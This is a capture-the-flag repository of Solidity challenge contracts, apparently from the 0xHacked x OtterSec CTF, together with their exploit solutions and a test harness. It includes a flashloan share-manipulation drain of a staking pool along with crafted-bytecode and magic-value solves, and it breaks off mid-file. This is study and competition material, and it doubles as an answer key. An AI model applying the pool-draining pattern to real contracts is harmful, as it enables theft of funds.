├── .gitmodules
├── foundry.toml
├── .gitignore
├── src
├── BabyOtter
│ ├── BabyOtter.sol
│ └── Exploit2.sol
├── ChildOtter
│ ├── Exploit4.sol
│ └── ChildOtter.sol
├── Demo
│ ├── Exploit.sol
│ └── Random.sol
├── EasyECDSA
│ ├── Exploit5.sol
│ └── EasyECDSA.sol
├── Factorial
│ ├── Factorial.sol
│ └── Exploit6.sol
├── AdultOtter
│ ├── AdultOtter.sol
│ └── Exploit1.sol
├── Bytedance
│ ├── Bytedance.sol
│ └── Exploit3.sol
├── StakePool
│ ├── Exploit8.sol
│ └── StakePool.sol
└── Snakes
│ └── Snakes.sol
├── .github
└── workflows
│ └── test.yml
├── README.md
├── script
└── Deploy.s.sol
└── test
└── Exploit.t.sol
/.gitmodules:
--------------------------------------------------------------------------------
1 | [submodule "lib/forge-std"]
2 | path = lib/forge-std
3 | url = https://github.com/foundry-rs/forge-std
4 |
--------------------------------------------------------------------------------
/foundry.toml:
--------------------------------------------------------------------------------
1 | [profile.default]
2 | src = "src"
3 | out = "out"
4 | libs = ["lib"]
5 |
6 | # See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options
7 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Compiler files
2 | cache/
3 | out/
4 |
5 | # Ignores development broadcast logs
6 | !/broadcast
7 | /broadcast/*/31337/
8 | /broadcast/**/dry-run/
9 |
10 | # Docs
11 | docs/
12 |
13 | # Dotenv file
14 | .env
15 |
16 | .DS_Store
17 |
--------------------------------------------------------------------------------
/src/BabyOtter/BabyOtter.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: UNLICENSED
2 | pragma solidity ^0.8.13;
3 |
4 | contract BabyOtter {
5 | bool public solved = false;
6 |
7 | function solve(uint x) public {
8 | unchecked {
9 | assert(x * 0x1337 == 1);
10 | }
11 | solved = true;
12 | }
13 | }
--------------------------------------------------------------------------------
/src/ChildOtter/Exploit4.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: UNLICENSED
2 | pragma solidity ^0.8.13;
3 |
4 | interface IT {
5 | function solve(uint x) external;
6 | }
7 |
8 | contract Exploit {
9 |
10 | function exploit() public {
11 | // write code here
12 | address target = 0x63461D5b5b83bD9BA102fF21d8533b3aad172116;
13 | IT(target).solve(0xad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5);
14 | }
15 | }
--------------------------------------------------------------------------------
/src/Demo/Exploit.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: UNLICENSED
2 | pragma solidity ^0.8.13;
3 |
4 | interface IRandom {
5 | function solve(uint256 guess) external;
6 | }
7 |
8 | contract Exploit {
9 |
10 | // construct() {} // construct not allowed
11 |
12 | function exploit() public {
13 | // write code here
14 | address target = 0xDA879713a32894B3a0Ce42c70Bcd4331e1652e54;
15 | IRandom(target).solve(4);
16 | }
17 | }
--------------------------------------------------------------------------------
/src/ChildOtter/ChildOtter.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: UNLICENSED
2 | pragma solidity ^0.8.13;
3 |
4 | contract ChildOtter {
5 | mapping(uint => mapping(uint => uint)) val;
6 | bool public solved = false;
7 |
8 | function solve(uint x) public {
9 | uint target;
10 |
11 | val[0][0] = x;
12 | assembly {
13 | target := mload(32)
14 | }
15 |
16 | assert(target == x);
17 | solved = true;
18 | }
19 | }
--------------------------------------------------------------------------------
/src/BabyOtter/Exploit2.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: UNLICENSED
2 | pragma solidity ^0.8.13;
3 |
4 |
5 | interface IT {
6 | function solve(uint x) external;
7 | }
8 |
9 | contract Exploit {
10 |
11 | function exploit() public {
12 | // write code here
13 | address target = 0x4e309C767Acc9f9366d75C186454ed205d5Eeee3;
14 | IT(target).solve(106517423012574869748253447278778772725360170890836257832597187972312850502279);
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/src/EasyECDSA/Exploit5.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: UNLICENSED
2 | pragma solidity ^0.8.13;
3 |
4 | interface IT {
5 | function solve(uint256[2] calldata rs) external;
6 | }
7 |
8 | contract Exploit {
9 |
10 | function exploit() public {
11 | // write code here
12 | address target = 0xaf1c3f65ac4767cBFB3417A7a26d95cECcb96F37;
13 | uint256[2] memory rs = [uint256(4364159065564), uint256(3524506910688)];
14 | IT(target).solve(rs);
15 | }
16 | }
--------------------------------------------------------------------------------
/src/Demo/Random.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: UNLICENSED
2 | pragma solidity ^0.8.13;
3 |
4 | contract Random {
5 |
6 | bool public solved = false;
7 |
8 | function _getRandomNumber() internal pure returns (uint256) { // chosen by fair dice roll.
9 | return 4; // guaranteed to be random.
10 | }
11 |
12 | function solve(uint256 guess) public {
13 | require(guess == _getRandomNumber());
14 | solved = true;
15 | }
16 | }
--------------------------------------------------------------------------------
/src/Factorial/Factorial.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: UNLICENSED
2 | pragma solidity ^0.8.13;
3 |
4 | contract Factorial {
5 | bool public solved = false;
6 |
7 | function run(uint256 number) internal view returns (uint256) {
8 | uint256 res = 1;
9 | for (uint256 index = 0; index < number; index++) {
10 | (, bytes memory data) = msg.sender.staticcall(abi.encodeWithSignature("factorial(uint256)", number));
11 | res = res * abi.decode(data, (uint256));
12 | }
13 | return res;
14 | }
15 |
16 | function solve() public {
17 | require(run(5) == 120, "wrong");
18 | solved = true;
19 | }
20 | }
--------------------------------------------------------------------------------
/src/AdultOtter/AdultOtter.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: UNLICENSED
2 | pragma solidity ^0.8.13;
3 |
4 | contract AdultOtter {
5 | bool public solved = false;
6 |
7 | function pwn(uint[16] memory code) public {
8 | uint[16] memory a;
9 | uint[16] memory b;
10 |
11 | for (uint i = 0; i < 16; i++) {
12 | assert(1337 * i < code[i] && code[i] < 1337 * (i + 1));
13 | }
14 |
15 | for (uint i = 0; i < 16; i++) {
16 | a[i] = i**i * code[i];
17 | }
18 |
19 | for (uint i = 1; i < 16; i++) {
20 | b[i] = (2**255 + code[i] - 7 * a[i] + b[i-1]) % 2**64;
21 | }
22 |
23 | assert(b[15] == 0);
24 | solved = true;
25 | }
26 | }
--------------------------------------------------------------------------------
/.github/workflows/test.yml:
--------------------------------------------------------------------------------
1 | name: test
2 |
3 | on: workflow_dispatch
4 |
5 | env:
6 | FOUNDRY_PROFILE: ci
7 |
8 | jobs:
9 | check:
10 | strategy:
11 | fail-fast: true
12 |
13 | name: Foundry project
14 | runs-on: ubuntu-latest
15 | steps:
16 | - uses: actions/checkout@v3
17 | with:
18 | submodules: recursive
19 |
20 | - name: Install Foundry
21 | uses: foundry-rs/foundry-toolchain@v1
22 | with:
23 | version: nightly
24 |
25 | - name: Run Forge build
26 | run: |
27 | forge --version
28 | forge build --sizes
29 | id: build
30 |
31 | - name: Run Forge tests
32 | run: |
33 | forge test -vvv
34 | id: test
35 |
--------------------------------------------------------------------------------
/src/Factorial/Exploit6.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: UNLICENSED
2 | pragma solidity ^0.8.13;
3 |
4 | interface IT {
5 | function solve() external;
6 | }
7 |
8 | contract Exploit {
9 |
10 | function test(uint256 x) internal view returns (bool) {
11 | uint32 size;
12 | uint256 gas = gasleft();
13 | assembly {
14 | size := extcodesize(x)
15 | }
16 | return gas - gasleft() < 1000;
17 | }
18 |
19 | function factorial(uint256 n) public returns (uint256) {
20 | for (uint256 i = 0; i < n; i++) {
21 | if (!test(1200000 + i)) return i + 1;
22 | }
23 | }
24 |
25 |
26 | function exploit() public {
27 | // write code here
28 | address target = 0x1963ead4de36524e8EB53B88ccf79ff15Fe20baB;
29 | IT(target).solve();
30 | }
31 | }
--------------------------------------------------------------------------------
/src/AdultOtter/Exploit1.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: UNLICENSED
2 | pragma solidity ^0.8.13;
3 |
4 | interface IT {
5 | function pwn(uint[16] memory code) external;
6 | }
7 |
8 | contract Exploit {
9 |
10 | function exploit() public {
11 | // write code here
12 | address target = 0x6D40aCf2EF8F8F99247666AEE922E79CB605DE3B;
13 | uint[16] memory sol;
14 | sol[0] = 1;
15 | sol[1] = 2673;
16 | sol[2] = 2675;
17 | sol[3] = 4023;
18 | sol[4] = 5389;
19 | sol[5] = 7446;
20 | sol[6] = 9357;
21 | sol[7] = 9863;
22 | sol[8] = 11484;
23 | sol[9] = 12034;
24 | sol[10] = 13841;
25 | sol[11] = 15848;
26 | sol[12] = 16716;
27 | sol[13] = 17384;
28 | sol[14] = 19760;
29 | sol[15] = 20140;
30 | IT(target).pwn(sol);
31 | }
32 | }
--------------------------------------------------------------------------------
/src/Bytedance/Bytedance.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: UNLICENSED
2 | pragma solidity ^0.8.13;
3 |
4 | contract Deployer {
5 | constructor(bytes memory code) {
6 | assembly {
7 | return(add(code, 0x20), mload(code))
8 | }
9 | }
10 | }
11 |
12 | contract Bytedance {
13 | bool public solved = false;
14 | address public target;
15 |
16 | function setup() public {
17 | target = msg.sender;
18 | uint256 size;
19 | assembly {
20 | size := extcodesize(sload(target.slot))
21 | }
22 | require(size == 0);
23 | }
24 |
25 | function echo(bytes memory data) internal {
26 | bytes memory code;
27 | uint256 size;
28 | address t = target;
29 | assembly {
30 | size := extcodesize(t)
31 | code := mload(0x40)
32 | mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
33 | mstore(code, size)
34 | extcodecopy(t, add(code, 0x20), 0, size)
35 | }
36 | code = abi.encodePacked(data, code);
37 | address new_target = address(new Deployer(code));
38 | (, bytes memory result) = new_target.staticcall("");
39 | require(keccak256(result) == keccak256(data), "wrong echo");
40 | }
41 |
42 | function solve() public {
43 | echo("Hello Player");
44 | echo("`*V");
45 | solved = true;
46 | }
47 | }
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## 0xHacked x OtterSec CTF
2 |
3 | We've prepared the test framework so that you can debug the challenge locally.
4 |
5 | ``` bash
6 | forge test -vv / forge test -vv --match-test [name]
7 | ```
8 |
9 | For more details, please visit [Exploit.t.sol](https://github.com/0xHackedLabs/ctf/blob/main/test/Exploit.t.sol).
10 |
11 | ### how to generate the proof via [0xHacked Online Tool](https://www.0xhacked.com/tool)
12 |
13 | Take [Random](https://github.com/0xHackedLabs/ctf/tree/main/src/Demo) as an example.
14 |
15 |
16 |
17 | After debugging the exploit.sol locally, open [0xHacked Online Tool](https://www.0xhacked.com/tool).
18 | 1. Switch Network to **CTF**
19 | 2. According to the [Random Challenge](https://ctf.0xhacked.com/challenges#Random-4), fill in the block number as 3,
20 | 3. Upload the exploit.sol
21 | 4. Click "Run", once you wait for a few minutes (usually it's up to 4 min), you will be able to download the proof below and submit it to [Random Challenge](https://ctf.0xhacked.com/challenges#Random-4).
22 |
23 |
24 |
25 | # Acknowledgement
26 |
27 | Thanks for co-hosting with [OtterSec](https://osec.io). Also, thanks for [RISC Zero](https://www.risczero.com/)'s sponsorship and hardware support provided by Bonsai Network.
28 |
--------------------------------------------------------------------------------
/src/Bytedance/Exploit3.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: UNLICENSED
2 | pragma solidity ^0.8.13;
3 |
4 | interface IT {
5 | function solve() external;
6 | }
7 |
8 | contract Deployer {
9 | bytes public deployBytecode;
10 | address public deployedAddr;
11 |
12 | function deploy(bytes memory code, address a1) public {
13 | deployBytecode = code;
14 | address a;
15 | bytes memory args = abi.encode(address(a1));
16 | bytes memory dumperBytecode = abi.encodePacked(type(Dumper).creationCode, args);
17 | assembly {
18 | a := create2(callvalue(), add(0x20, dumperBytecode), mload(dumperBytecode), 0x9453)
19 | }
20 | deployedAddr = a;
21 | }
22 |
23 | }
24 |
25 | interface ISetup {
26 | function setup() external;
27 | }
28 |
29 | contract Dumper {
30 | constructor(address a1) public {
31 | if (a1 != address(0)) {
32 | ISetup(a1).setup();
33 | }
34 | Deployer dp = Deployer(msg.sender);
35 | bytes memory bytecode = dp.deployBytecode();
36 | assembly {
37 | return(add(bytecode, 0x20), mload(bytecode))
38 | }
39 | }
40 | }
41 |
42 | contract Exploit {
43 |
44 | function exploit() public {
45 | // write code here
46 | address target = 0x2eB0fCb87fe17e7a2aB93B6d51C0A72D9dbA6bdC;
47 |
48 | Deployer dp = new Deployer();
49 |
50 | bytes memory c1 =
51 | hex"0000000000000048656c6c6f20506c61796572600052600c6014f30000000000000000000000005b62602a566000526003601df3";
52 |
53 | dp.deploy(c1, target);
54 |
55 | IT(target).solve();
56 |
57 | }
58 | }
--------------------------------------------------------------------------------
/src/StakePool/Exploit8.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: UNLICENSED
2 | pragma solidity ^0.8.13;
3 |
4 | interface IStakePoolFlashloanReceiver {
5 | function onStakPoolFlashloan(uint256 amount, uint256 fee, bytes memory data) external payable;
6 | }
7 |
8 | interface Pool {
9 | function flashloan(uint256 amount, bytes calldata data) external;
10 | function faucet() external;
11 | function solve() external;
12 | function deposit() external payable returns (uint256);
13 | function withdraw(uint256 shares) external returns (uint256);
14 | function balanceOf(address a) external returns (uint256);
15 | }
16 |
17 |
18 | contract Exploit is IStakePoolFlashloanReceiver{
19 | address target;
20 | function exploit() public payable {
21 | // write code here
22 |
23 | target = 0x511978e46Fc117795431f7493fB5288592097C4A;
24 | Pool(target).faucet();
25 | Pool(target).flashloan(2 ether, "");
26 | uint256 balance = Pool(target).balanceOf(address(this));
27 | Pool(target).withdraw(balance);
28 |
29 | Pool(target).flashloan(balance, "");
30 | balance = Pool(target).balanceOf(address(this));
31 | Pool(target).withdraw(balance);
32 |
33 | Pool(target).flashloan(2 ether, "");
34 | balance = Pool(target).balanceOf(address(this));
35 | Pool(target).withdraw(balance);
36 |
37 | Pool(target).flashloan(1 ether, "");
38 | balance = Pool(target).balanceOf(address(this));
39 | Pool(target).withdraw(balance);
40 | Pool(target).solve();
41 | }
42 |
43 | receive() external payable {}
44 |
45 | function onStakPoolFlashloan(uint256 amount, uint256 fee, bytes memory data) external payable {
46 | Pool(target).deposit{value: msg.value + fee}();
47 | }
48 |
49 | }
--------------------------------------------------------------------------------
/script/Deploy.s.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: UNLICENSED
2 | pragma solidity ^0.8.13;
3 |
4 | import {Script, console2} from "forge-std/Script.sol";
5 | import {Random} from "../src/Demo/Random.sol";
6 | import {AdultOtter} from "../src/AdultOtter/AdultOtter.sol";
7 | import {BabyOtter} from "../src/BabyOtter/BabyOtter.sol";
8 | import {Bytedance} from "../src/Bytedance/Bytedance.sol";
9 | import {EasyECDSA} from "../src/EasyECDSA/EasyECDSA.sol";
10 | import {Factorial} from "../src/Factorial/Factorial.sol";
11 | import {Snakes} from "../src/Snakes/Snakes.sol";
12 | import {StakePool} from "../src/StakePool/StakePool.sol";
13 | import {ChildOtter} from "../src/ChildOtter/ChildOtter.sol";
14 |
15 | contract DeployScript is Script {
16 | function setUp() public {}
17 |
18 | function run() public {
19 | vm.startBroadcast();
20 |
21 | Random ra = new Random();
22 | console2.log("Deploy Random: %s", address(ra));
23 |
24 | AdultOtter ao = new AdultOtter();
25 | console2.log("Deploy AdultOtter: %s", address(ao));
26 |
27 | BabyOtter bo = new BabyOtter();
28 |
29 | console2.log("Deploy BabyOtter: %s", address(bo));
30 |
31 | Bytedance bd = new Bytedance();
32 | console2.log("Deploy Bytedance: %s", address(bd));
33 |
34 | EasyECDSA ee = new EasyECDSA();
35 | console2.log("Deploy EasyECDSA: %s", address(ee));
36 |
37 | Factorial fa = new Factorial();
38 | console2.log("Deploy Factorial: %s", address(fa));
39 |
40 | Snakes sn = new Snakes();
41 | console2.log("Deploy Snakes: %s", address(sn));
42 |
43 | StakePool sp = (new StakePool){value: 5 ether}();
44 | console2.log("Deploy StakePool: %s", address(sp));
45 |
46 | ChildOtter co = new ChildOtter();
47 | console2.log("Deploy ChildOtter: %s", address(co));
48 |
49 | }
50 | }
51 |
--------------------------------------------------------------------------------
/src/StakePool/StakePool.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: UNLICENSED
2 |
3 | pragma solidity ^0.8.13;
4 |
5 | interface IStakePoolFlashloanReceiver {
6 | function onStakPoolFlashloan(uint256 amount, uint256 fee, bytes memory data) external payable;
7 | }
8 |
9 | contract StakePool {
10 | bool public solved = false;
11 | uint256 public totalSupply;
12 | mapping(address => uint256) public balanceOf;
13 | bool public flag = false;
14 |
15 | constructor() payable {
16 | totalSupply = 5 ether;
17 | }
18 |
19 | function deposit() external payable returns (uint256) {
20 | uint256 amount = msg.value;
21 | uint256 bal = address(this).balance;
22 | uint256 shares = totalSupply == 0 ? amount : amount * totalSupply / bal;
23 |
24 | totalSupply += shares;
25 | balanceOf[msg.sender] += shares;
26 | return shares;
27 | }
28 |
29 | function withdraw(uint256 shares) external returns (uint256) {
30 | uint256 bal = address(this).balance;
31 | uint256 amount = shares * bal / totalSupply;
32 | totalSupply -= shares;
33 | require(balanceOf[msg.sender] >= shares);
34 | balanceOf[msg.sender] -= shares;
35 |
36 | payable(msg.sender).transfer(amount);
37 | return amount;
38 | }
39 |
40 | function flashloan(uint256 amount, bytes calldata data) external {
41 | uint256 balBefore = address(this).balance;
42 | require(amount <= balBefore);
43 | uint256 feeAmount = amount * 5 / 10000;
44 | IStakePoolFlashloanReceiver(msg.sender).onStakPoolFlashloan{value: amount}(amount, feeAmount, data);
45 |
46 | uint256 balAfter = address(this).balance;
47 |
48 | require(balAfter >= feeAmount + balBefore, "failed");
49 | }
50 |
51 | function faucet() public {
52 | require(!flag);
53 | flag = true;
54 | payable(msg.sender).transfer(0.001 ether);
55 | }
56 |
57 | function solve() public {
58 | require(address(this).balance < 1 ether);
59 | solved = true;
60 | }
61 | }
62 |
--------------------------------------------------------------------------------
/test/Exploit.t.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: UNLICENSED
2 | pragma solidity ^0.8.13;
3 |
4 | import {Test, console2} from "forge-std/Test.sol";
5 | import {Exploit as RandomExploit } from "../src/Demo/Exploit.sol";
6 | import {Exploit as AoE} from "../src/AdultOtter/Exploit1.sol";
7 | import {Exploit as BoE} from "../src/BabyOtter/Exploit2.sol";
8 | import {Exploit as BdE} from "../src/Bytedance/Exploit3.sol";
9 | import {Exploit as CoE} from "../src/ChildOtter/Exploit4.sol";
10 | import {Exploit as EyE} from "../src/EasyECDSA/Exploit5.sol";
11 | import {Exploit as FlE} from "../src/Factorial/Exploit6.sol";
12 | import {Exploit as SnE} from "../src/Snakes/Exploit7.sol";
13 | import {Exploit as SpE} from "../src/StakePool/Exploit8.sol";
14 | import {StakePool} from "../src/StakePool/StakePool.sol";
15 |
16 |
17 | interface IChallenge {
18 | function solved() external returns(bool);
19 | }
20 |
21 |
22 | contract ExploitTest is Test {
23 |
24 | function setUp() public {
25 | // fork the ctf chain
26 | vm.createSelectFork("http://18.207.142.64:38545", 3);
27 | }
28 |
29 | function test_random() public {
30 | address target = 0xDA879713a32894B3a0Ce42c70Bcd4331e1652e54; // the Random contract address
31 |
32 | // write the Exploit contract
33 | RandomExploit exp = new RandomExploit();
34 | exp.exploit();
35 |
36 | assertTrue(IChallenge(target).solved());
37 | // then use https://www.0xhacked.com/tool or https://github.com/0xHackedLabs/zkProver to generate zkp
38 | }
39 |
40 | function test_adultotter() public {
41 | address target = 0x6D40aCf2EF8F8F99247666AEE922E79CB605DE3B;
42 | AoE exp = new AoE();
43 | exp.exploit();
44 |
45 | assertTrue(IChallenge(target).solved());
46 | }
47 |
48 | function test_babyotter() public {
49 | address target = 0x4e309C767Acc9f9366d75C186454ed205d5Eeee3;
50 |
51 | BoE exp = new BoE();
52 | exp.exploit();
53 | assertTrue(IChallenge(target).solved());
54 | }
55 |
56 | function test_bytedance() public {
57 | address target = 0x2eB0fCb87fe17e7a2aB93B6d51C0A72D9dbA6bdC;
58 | BdE exp = new BdE();
59 | exp.exploit();
60 | assertTrue(IChallenge(target).solved());
61 | }
62 |
63 | function test_childotter() public {
64 | address target = 0x63461D5b5b83bD9BA102fF21d8533b3aad172116;
65 | CoE exp = new CoE();
66 | exp.exploit();
67 | assertTrue(IChallenge(target).solved());
68 | }
69 |
70 | function test_easyecdsa() public {
71 | address target = 0xaf1c3f65ac4767cBFB3417A7a26d95cECcb96F37;
72 | EyE exp = new EyE();
73 | exp.exploit();
74 | assertTrue(IChallenge(target).solved());
75 | }
76 |
77 | function test_factorial() public {
78 | address target = 0x1963ead4de36524e8EB53B88ccf79ff15Fe20baB;
79 | FlE exp = new FlE();
80 | exp.exploit();
81 | assertTrue(IChallenge(target).solved());
82 | }
83 |
84 | function test_snakes() public {
85 | address target = 0x827bB86B1594C77C9Ef9c126Bf1b0D46DC81aEEA;
86 | SnE exp = new SnE();
87 | exp.exploit();
88 | assertTrue(IChallenge(target).solved());
89 | }
90 |
91 | function test_stakepool() public {
92 |
93 | address target = 0x511978e46Fc117795431f7493fB5288592097C4A;
94 | SpE exp = new SpE();
95 | exp.exploit();
96 | assertTrue(IChallenge(target).solved());
97 | }
98 | }
99 |
--------------------------------------------------------------------------------
/src/Snakes/Snakes.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: UNLICENSED
2 |
3 | // we accidentally sent the version with testing
4 | // so you can call with an empty string of bytes to pass this challenge.
5 |
6 | pragma solidity ^0.8.13;
7 |
8 | contract Snakes {
9 | bool public solved = false;
10 |
11 | function solve(bytes memory code) public {
12 | bytes memory data = hex"6106c9610011610000396106c9610000f360003560e01c6002600c820660011b6106b101601e39600051565b636e6ecf9681186102b8576044361034176106ac5760043560040160208135116106ac57803560208160051b01808360403750505060405160208160051b018061046082604060045afa50505061053961088052611ca36108a05260496108c05260256108e0526104d2610900526110e1610920526000600f905b806109405261046051601f81116106ac576109405161094051600681069050600581116106ac5760051b610880015161094051188082028115838383041417156106ac579050905061094051600281018181106106ac579050600381169050600581116106ac5760051b61088001518082018281106106ac5790509050610940518082018281106106ac579050905061094051600f81018181106106ac579050610460518110156106ac5760051b6104800151188160051b610480015260018101610460525061094051601181018181106106ac579050610460518110156106ac5760051b610480015161094051610460518110156106ac5760051b6104800151186106ac576001018181186100955750506000600f905b806109405261094051601181018181106106ac579050610460518110156106ac5760051b610480015161094051610460518110156106ac5760051b6104800151186106ac576001018181186101ad575050601061046051106106ac57600f60051b6104800151601161046051106106ac57601060051b61048001518082028115838383041417156106ac57905090506106ac57670b6ec7305a30b207601061046051106106ac57600f60051b6104800151601161046051106106ac57601060051b61048001518082018281106106ac5790509050186106ac57601161046051106106ac57601060051b6104800151601061046051106106ac57600f60051b610480015111156106ac57005b63f5961b6e81186106a557346106ac5760036040527f626164000000000000000000000000000000000000000000000000000000000060605260405060405180606001601f826000031636823750506308c379a06000526020602052601f19601f6040510116604401601cfd6106a5565b639b30d82481186106a557346106ac5760036040527f626164000000000000000000000000000000000000000000000000000000000060605260405060405180606001601f826000031636823750506308c379a06000526020602052601f19601f6040510116604401601cfd6106a5565b63bc9568b181186106a557346106ac5760036040527f626164000000000000000000000000000000000000000000000000000000000060605260405060405180606001601f826000031636823750506308c379a06000526020602052601f19601f6040510116604401601cfd6106a5565b63a89ac83c81186106a557346106ac5760036040527f626164000000000000000000000000000000000000000000000000000000000060605260405060405180606001601f826000031636823750506308c379a06000526020602052601f19601f6040510116604401601cfd6106a5565b636672f65a81186104e957346106ac5760036040527f626164000000000000000000000000000000000000000000000000000000000060605260405060405180606001601f826000031636823750506308c379a06000526020602052601f19601f6040510116604401601cfd5b63559b012681186106a557346106ac5760036040527f626164000000000000000000000000000000000000000000000000000000000060605260405060405180606001601f826000031636823750506308c379a06000526020602052601f19601f6040510116604401601cfd6106a5565b63819ae50981186105c757346106ac5760036040527f626164000000000000000000000000000000000000000000000000000000000060605260405060405180606001601f826000031636823750506308c379a06000526020602052601f19601f6040510116604401601cfd5b6318a3fc4981186106a557346106ac5760036040527f626164000000000000000000000000000000000000000000000000000000000060605260405060405180606001601f826000031636823750506308c379a06000526020602052601f19601f6040510116604401601cfd6106a5565b6386a2951f81186106a557346106ac5760036040527f626164000000000000000000000000000000000000000000000000000000000060605260405060405180606001601f826000031636823750506308c379a06000526020602052601f19601f6040510116604401601cfd5b346106ac57005b600080fd040b06a506a506a506a5055a047c06a50329039a001a0638841906c981181800a16576797065728300030a0015";
13 |
14 | address addr;
15 | assembly {
16 | addr := create(0, add(data, 32), mload(data))
17 | }
18 |
19 | (bool success,) = addr.call(code);
20 | assert(success);
21 | solved = true;
22 | }
23 | }
--------------------------------------------------------------------------------
/src/EasyECDSA/EasyECDSA.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: UNLICENSED
2 | pragma solidity ^0.8.13;
3 |
4 |
5 | contract EasyECDSA {
6 | // ref https://github.com/tdrerup/elliptic-curve-solidity/blob/master/contracts/curves/EllipticCurve.sol
7 | // Set parameters for curve.
8 | uint256 constant a = 0x0000000000000000000000000000000000000000000000000000000000000007;
9 | uint256 constant b = 0x0000000000000000000000000000000000000000000000000000000000000001;
10 | uint256 constant gx = 0x000000000000000000000000000000000000000000000000000000be1a72fd48;
11 | uint256 constant gy = 0x000000000000000000000000000000000000000000000000000001ada5aa1a14;
12 | uint256 constant p = 0x0000000000000000000000000000000000000000000000000000041b8788a965;
13 | uint256 constant n = 0x0000000000000000000000000000000000000000000000000000041b879f0093;
14 |
15 | uint256 constant lowSmax = 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0;
16 |
17 | bool public solved = false;
18 | /**
19 | * @dev Inverse of u in the field of modulo m.
20 | */
21 |
22 | function inverseMod(uint256 u, uint256 m) internal pure returns (uint256) {
23 | if (u == 0 || u == m || m == 0) {
24 | return 0;
25 | }
26 | if (u > m) {
27 | u = u % m;
28 | }
29 |
30 | int256 t1;
31 | int256 t2 = 1;
32 | uint256 r1 = m;
33 | uint256 r2 = u;
34 | uint256 q;
35 |
36 | while (r2 != 0) {
37 | q = r1 / r2;
38 | (t1, t2, r1, r2) = (t2, t1 - int256(q) * t2, r2, r1 - q * r2);
39 | }
40 |
41 | if (t1 < 0) {
42 | return (m - uint256(-t1));
43 | }
44 |
45 | return uint256(t1);
46 | }
47 |
48 | /**
49 | * @dev Transform affine coordinates into projective coordinates.
50 | */
51 | function toProjectivePoint(uint256 x0, uint256 y0) public pure returns (uint256[3] memory P) {
52 | P[2] = addmod(0, 1, p);
53 | P[0] = mulmod(x0, P[2], p);
54 | P[1] = mulmod(y0, P[2], p);
55 | }
56 |
57 | /**
58 | * @dev Add two points in affine coordinates and return projective point.
59 | */
60 | function addAndReturnProjectivePoint(uint256 x1, uint256 y1, uint256 x2, uint256 y2)
61 | public
62 | pure
63 | returns (uint256[3] memory P)
64 | {
65 | uint256 x;
66 | uint256 y;
67 | (x, y) = add(x1, y1, x2, y2);
68 | P = toProjectivePoint(x, y);
69 | }
70 |
71 | /**
72 | * @dev Transform from projective to affine coordinates.
73 | */
74 | function toAffinePoint(uint256 x0, uint256 y0, uint256 z0) public pure returns (uint256 x1, uint256 y1) {
75 | uint256 z0Inv;
76 | z0Inv = inverseMod(z0, p);
77 | x1 = mulmod(x0, z0Inv, p);
78 | y1 = mulmod(y0, z0Inv, p);
79 | }
80 |
81 | /**
82 | * @dev Return the zero curve in projective coordinates.
83 | */
84 | function zeroProj() public pure returns (uint256 x, uint256 y, uint256 z) {
85 | return (0, 1, 0);
86 | }
87 |
88 | /**
89 | * @dev Return the zero curve in affine coordinates.
90 | */
91 | function zeroAffine() public pure returns (uint256 x, uint256 y) {
92 | return (0, 0);
93 | }
94 |
95 | /**
96 | * @dev Check if the curve is the zero curve.
97 | */
98 | function isZeroCurve(uint256 x0, uint256 y0) public pure returns (bool isZero) {
99 | if (x0 == 0 && y0 == 0) {
100 | return true;
101 | }
102 | return false;
103 | }
104 |
105 | /**
106 | * @dev Check if a point in affine coordinates is on the curve.
107 | */
108 | function isOnCurve(uint256 x, uint256 y) public pure returns (bool) {
109 | if (0 == x || x == p || 0 == y || y == p) {
110 | return false;
111 | }
112 |
113 | uint256 LHS = mulmod(y, y, p); // y^2
114 | uint256 RHS = mulmod(mulmod(x, x, p), x, p); // x^3
115 |
116 | if (a != 0) {
117 | RHS = addmod(RHS, mulmod(x, a, p), p); // x^3 + a*x
118 | }
119 | if (b != 0) {
120 | RHS = addmod(RHS, b, p); // x^3 + a*x + b
121 | }
122 |
123 | return LHS == RHS;
124 | }
125 |
126 | /**
127 | * @dev Double an elliptic curve point in projective coordinates. See
128 | * https://www.nayuki.io/page/elliptic-curve-point-addition-in-projective-coordinates
129 | */
130 | function twiceProj(uint256 x0, uint256 y0, uint256 z0) public pure returns (uint256 x1, uint256 y1, uint256 z1) {
131 | uint256 t;
132 | uint256 u;
133 | uint256 v;
134 | uint256 w;
135 |
136 | if (isZeroCurve(x0, y0)) {
137 | return zeroProj();
138 | }
139 |
140 | u = mulmod(y0, z0, p);
141 | u = mulmod(u, 2, p);
142 |
143 | v = mulmod(u, x0, p);
144 | v = mulmod(v, y0, p);
145 | v = mulmod(v, 2, p);
146 |
147 | x0 = mulmod(x0, x0, p);
148 | t = mulmod(x0, 3, p);
149 |
150 | z0 = mulmod(z0, z0, p);
151 | z0 = mulmod(z0, a, p);
152 | t = addmod(t, z0, p);
153 |
154 | w = mulmod(t, t, p);
155 | x0 = mulmod(2, v, p);
156 | w = addmod(w, p - x0, p);
